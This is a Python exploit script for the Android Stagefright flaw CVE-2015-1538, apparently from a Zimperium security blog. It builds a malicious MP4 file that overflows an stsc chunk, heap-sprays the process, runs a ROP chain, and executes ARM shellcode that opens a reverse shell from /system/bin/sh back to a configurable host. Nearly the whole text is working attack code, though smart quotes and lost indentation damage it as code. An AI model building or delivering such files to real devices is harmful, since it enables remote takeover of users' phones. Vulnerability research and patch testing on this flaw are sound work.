import struct
import socket
def make_chunk(tag, data):
if len(tag) != 4:
raise ‘Yo! They call it “FourCC” for a reason.’
ret = struct.pack(‘>L’, len(data) + 8)
ret += tag
ret += data
return ret
def make_stco(extra=”):
ret =struct.pack(‘>L’, 0)
ret += struct.pack(‘>L’, 0)
return make_chunk(‘stco’, ret+extra)
def make_stsz(extra=”):
ret =struct.pack(‘>L’, 0)
ret += struct.pack(‘>L’, 0)
ret += struct.pack(‘>L’, 0)
return make_chunk(‘stsz’, ret+extra)
def make_stts():
ret =struct.pack(‘>L’, 0)
ret += struct.pack(‘>L’, 0)
return make_chunk(‘stts’, ret)
def make_stsc_entry(start, per, desc):
ret = ”
ret += struct.pack(‘>L’, start + 1)
ret += struct.pack(‘>L’, per)
ret += struct.pack(‘>L’, desc)
return ret
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
ret =struct.pack(‘>L’, 0)
if not do_overflow:
ret += struct.pack(‘>L’, num_alloc)
ret += ‘Z’ * (12 * num_alloc)
return make_chunk(‘stsc’, ret)
ret += struct.pack(‘>L’, 0xc0000000 + num_alloc)
for x in range(0, num_write):
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
ret = make_chunk(‘stsc’, ret)
ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]
return ret
“””
(gdb) x/10i __dl_restore_core_regs
0xb0002850 <__dl_restore_core_regs>: add r1, r0,
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
0xb0002858 <__dl_restore_core_regs+8>: push{r3, r4, r5}
0xb000285c <__dl_restore_core_regs+12>:ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
0xb0002860 <__dl_restore_core_regs+16>:ldm sp, {sp, lr, pc}
“””
“””
b0001144 <__dl_mprotect>:
b0001144: e92d0090push{r4, r7}
b0001148: e3a0707dmov r7,
b000114c: ef000000svc 0x00000000
b0001150: e8bd0090pop {r4, r7}
b0001154: e1b00000movsr0, r0
b0001158: 512fff1ebxpllr
b000115c: ea0015ccb b0006894 <__dl_raise+0x10>
“””
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = ”
rop += struct.pack(‘<L’, sp_addr + off + 0x10)
rop += struct.pack(‘<L’, 0xb0002a98)
rop += struct.pack(‘<L’, 0xb00038b2+1)
rop += struct.pack(‘<L’, sp_addr & 0xfffff000)
rop += struct.pack(‘<L’, 0x1000)
rop += struct.pack(‘<L’, 7)
rop += struct.pack(‘<L’, 0xd000d003)
rop += struct.pack(‘<L’, 0xd000d004)
rop += struct.pack(‘<L’, 0xb0001144)
native_start = sp_addr + 0x80
rop += struct.pack(‘<L’, native_start)
buf =”
buf += ‘\x02\x70\xa0\xe3’
buf += ‘\x00\x00\x00\xef’
buf += ‘\x00\x00\x50\xe3’
buf += ‘\x02\x00\x00\x0a’
buf += ‘\x00\x00\xa0\xe3’
buf += ‘\x01\x70\xa0\xe3’
buf += ‘\x00\x00\x00\xef’
buf += ‘\x42\x70\xa0\xe3’
buf += ‘\x00\x00\x00\xef’
buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’
buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’
buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’
buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’
buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’
buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’
buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’
buf += ‘\xe3\x00\x00\x00\xef’
buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’
buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’
buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’
buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’
buf += ‘\xef\x02\x00’
buf += struct.pack(‘!H’, cb_port)
cb_host = socket.inet_aton(cb_host)
buf += struct.pack(‘=4s’, cb_host)
buf += ‘/system/bin/sh\x00\x00’
buf += ‘sh\x00\x00’
buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’
rop_start_off = 0x34
x = rop_start_off + len(rop)
while len(rop) < 0x80 – rop_start_off:
rop += struct.pack(‘<L’, 0xf0f00000+x)
x += 4
rop += buf
return rop
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
chunks = []
ftyp =‘mp42’
ftyp += struct.pack(‘>L’, 0)
ftyp += ‘mp42’
ftyp += ‘isom’
chunks.append(make_chunk(‘ftyp’, ftyp))
moov_data = ”
moov_data += make_chunk(‘mvhd’,
struct.pack(‘>LL’, 0, 0x41414141) +
(‘B’ * 0x5c) )
moov_data += make_chunk(‘trak’,
make_chunk(‘stbl’,
make_stsc(0x28, 0x28) +
make_stco() +
make_stsz() +
make_stts() ))
“””
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0,
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:blx 0x40069884; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:cmp r0,
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:ldr r0, [r4,
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:ldr r1, [r0,
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:ldr r2, [r1,
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:mov r1, r6
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:blx r2; call it!
“””
page = ”
off = 0
off += 8
page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28)
page += struct.pack(‘<L’, sp_addr + off)
off += 16
page += struct.pack(‘<L’, 1)
page += struct.pack(‘<L’, 0xc0dedbad)
page += struct.pack(‘<L’, sp_addr + off)
page += struct.pack(‘<L’, 16)
off += 8
page += struct.pack(‘<L’, sp_addr + off)
page += struct.pack(‘<L’, 0xf00dbabe)
off += 16
page += struct.pack(‘<L’, 0xc0de0000 + 0x00)
page += struct.pack(‘<L’, 0xc0de0000 + 0x04)
page += struct.pack(‘<L’, 0xc0de0000 + 0x08)
page += struct.pack(‘<L’, newpc_val)
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
x = len(page)
while len(page) < 4096:
page += struct.pack(‘<L’, 0xf0f00000+x)
x += 4
off = 0x34
page = page[:off] + rop + page[off+len(rop):]
spray = page * (((2*1024*1024) / len(page)) – 20)
moov_data += make_chunk(‘tx3g’, spray)
block = ‘A’ * 0x1c
bigger = ‘B’ * 0x40
udta = make_chunk(‘udta’,
make_chunk(‘meta’,
struct.pack(‘>L’, 0) +
make_chunk(‘ilst’,
make_chunk(‘cpil’,make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
make_chunk(‘trkn’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
make_chunk(‘disk’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
make_chunk(‘covr’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘aART’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘gnre’,make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
make_chunk(‘covr’,make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
)
)
moov_data += udta
tkhd1 = ”.join([
‘\x00’,
‘D’ * 3,
‘E’ * (5*4),
‘F’ * 0x10,
struct.pack(‘>LLLLLL’,
0x10000,
0,
0,
0,
0x10000,
0),
‘G’ * 0x14
])
trak1 = ”
trak1 += make_chunk(‘tkhd’, tkhd1)
mdhd1 = ”.join([
‘\x00’,
‘D’ * 0x17,
])
mdia1 = ”
mdia1 += make_chunk(‘mdhd’, mdhd1)
mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)
dinf1 = ”
dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)
minf1 = ”
minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
minf1 += make_chunk(‘dinf’, dinf1)
stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True)
minf1 += make_chunk(‘stbl’, stbl1)
mdia1 += make_chunk(‘minf’, minf1)
trak1 += make_chunk(‘mdia’, mdia1)
moov_data += make_chunk(‘trak’, trak1)
moov = make_chunk(‘moov’, moov_data)
chunks.append(moov)
data = ”.join(chunks)
return data
if __name__ == ‘__main__’:
import sys
import mp4
import argparse
def write_file(path, content):
with open(path, ‘wb’) as f:
f.write(content)
def addr(sval):
if sval.startswith(‘0x’):
return int(sval, 16)
return int(sval)
sp_addr = 0x41d00010
newpc_val = 0xb0002850
parser = argparse.ArgumentParser()
parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)
parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)
parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)
parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)
parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(–1)
if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/